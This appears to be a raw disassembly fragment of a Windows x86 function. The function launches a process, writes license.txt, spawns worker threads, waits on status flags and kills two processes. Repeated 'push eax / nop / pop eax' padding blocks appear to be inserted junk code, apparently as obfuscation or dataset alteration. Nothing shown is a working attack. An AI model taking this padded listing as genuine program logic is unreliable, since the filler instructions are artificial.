lea eax, [ebp - 0x2234]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [ebp - 0x2f4], eax
cmp dword [ebp - 0x2f4], 0
jne 0x407490
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea ecx, [ebp - 0xec8]
push ecx
call fcn.00422e40
add esp, 0xfffffff0
mov edx, esp
mov dword [ebp - 0x6b4], esp
push eax
push 0x4278f0
push edx
call fcn.004154b0
add esp, 0xc
lea eax, [ebp - 0xeb0]
push eax
call fcn.0040f160
add esp, 0x1c
lea ecx, [ebp - 0xeb0]
call fcn.00418dc0
lea ecx, [ebp - 0xec8]
call fcn.00418dc0
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
lea ecx, [ebp - 0x11dc]
call fcn.00419ab0
lea ecx, [ebp - 0x107c]
call fcn.00419a50
lea ecx, [ebp - 0x420]
call fcn.00418e00
lea ecx, [ebp - 0x348]
call fcn.00418e00
lea ecx, [ebp - 0x3c0]
call fcn.00418dc0
lea ecx, [ebp - 0x4b0]
call fcn.00418dc0
lea ecx, [ebp - 0x4c8]
call fcn.00418dc0
lea ecx, [ebp - 0x4e0]
call fcn.00418dc0
lea ecx, [ebp - 0x4f8]
call fcn.00418dc0
lea ecx, [ebp - 0x510]
call fcn.00418dc0
lea ecx, [ebp - 0x438]
call fcn.00418e00
lea ecx, [ebp - 0x3a8]
call fcn.00418e00
lea ecx, [ebp - 0x3d8]
call fcn.00418dc0
lea ecx, [ebp - 0x284]
call fcn.00418dc0
jmp 0x4077ef
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
push 1
mov ecx, 0x461d95
call fcn.004192b0
push 1
mov ecx, 0x461d96
call fcn.004192b0
push 0
mov ecx, 0x461d97
call fcn.004192b0
push 0
mov ecx, 0x461fcc
call fcn.004192b0
push 0
mov ecx, 0x461fcd
call fcn.004192b0
push 0x40
push 0x32
push str.license.txt
lea ecx, [ebp - 0x112c]
call fcn.00420640
mov ecx, 0x462128
call fcn.00422b10
xor ecx, ecx
push ecx
push eax
mov ecx, 0x462128
call fcn.0041ec00
push eax
lea ecx, [ebp - 0x112c]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const___long_long___int64__]
lea ecx, [ebp - 0x112c]
call fcn.0041eeb0
push 0
push 0
push 0
push 0x410a00
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
jne 0x40768a
push 0
mov ecx, 0x461d95
call fcn.004192b0
push 0
push 0
push 0
push 0x411040
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
jne 0x4076af
push 0
mov ecx, 0x461d95
call fcn.004192b0
push 0
push 0
push 0
push 0x411120
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
jne 0x4076d4
push 0
mov ecx, 0x461d96
call fcn.004192b0
push 0
push 0
push 0
push 0x4113e0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
jne 0x4076f9
push 0
mov ecx, 0x461d96
call fcn.004192b0
push 0
push 0
push 0
push 0x413890
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, 0x461d95
call fcn.00419770
movzx edx, al
cmp edx, 1
je 0x407732
mov ecx, 0x461d96
call fcn.00419770
movzx eax, al
cmp eax, 1
jne 0x407761
mov ecx, 0x461d97
call fcn.00419770
movzx ecx, al
test ecx, ecx
jne 0x407761
mov ecx, 0x461fcc
call fcn.00419770
movzx edx, al
test edx, edx
jne 0x407761
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40770e
cmp dword [0x461fd0], 0
je 0x407782
push 0
mov eax, dword [0x461fd0]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov dword [0x461fd0], 0
cmp dword [0x461fd4], 0
je 0x4077a4
push 0
mov ecx, dword [0x461fd4]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov dword [0x461fd4], 0
mov ecx, 0x461fcd
call fcn.00419770
movzx edx, al
cmp edx, 1
jne 0x4077e1
push 0
mov ecx, 0x461fcd
call fcn.004192b0
mov byte [0x461d91], 0
push 1
mov ecx, 0x461fce
call fcn.004192b0
mov byte [0x461d92], 0
jmp 0x405af3
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
push 0x461dc0
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
call dword [sym.imp.ole32.dll_CoUninitialize]
mov dword [ebp - 0x2f8], 0
lea ecx, [ebp - 0x360]
call fcn.00418dc0
lea ecx, [ebp - 0x3f0]
call fcn.00418e00
lea ecx, [ebp - 0x12bc]
call fcn.00419ab0
lea ecx, [ebp - 0x768]
call fcn.00418e00
lea ecx, [ebp - 0x780]
call fcn.00418dc0
lea ecx, [ebp - 0x124]
call fcn.00418dc0
lea ecx, [ebp - 0x112c]
call fcn.00419ab0
lea ecx, [ebp - 0x378]
call fcn.00418dc0
lea ecx, [ebp - 0xf80]
call fcn.00419a50
lea ecx, [ebp - 0x1c4]
call fcn.00418e00
lea ecx, [ebp - 0x1f4]
call fcn.00418dc0
lea ecx, [ebp - 0x1dc]
call fcn.00418e00
lea ecx, [ebp - 0x20c]
call fcn.00418dc0
lea ecx, [ebp - 0x29c]
call fcn.00418e00
lea ecx, [ebp - 0x2b4]
call fcn.00418e00
lea ecx, [ebp - 0x224]
call fcn.00418dc0
lea ecx, [ebp - 0x23c]
call fcn.00418dc0
lea ecx, [ebp - 0x18c]
call fcn.00418dc0
lea ecx, [ebp - 0x254]
call fcn.00418dc0
lea ecx, [ebp - 0x1ac]
call fcn.00418dc0
lea ecx, [ebp - 0x2cc]
call fcn.00418e00
lea ecx, [ebp - 0x26c]
call fcn.00418e00
lea ecx, [ebp - 0x4c]
call fcn.00418f70
lea ecx, [ebp - 0x13c]
call fcn.00418e00
mov eax, dword [ebp - 0x2f8]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10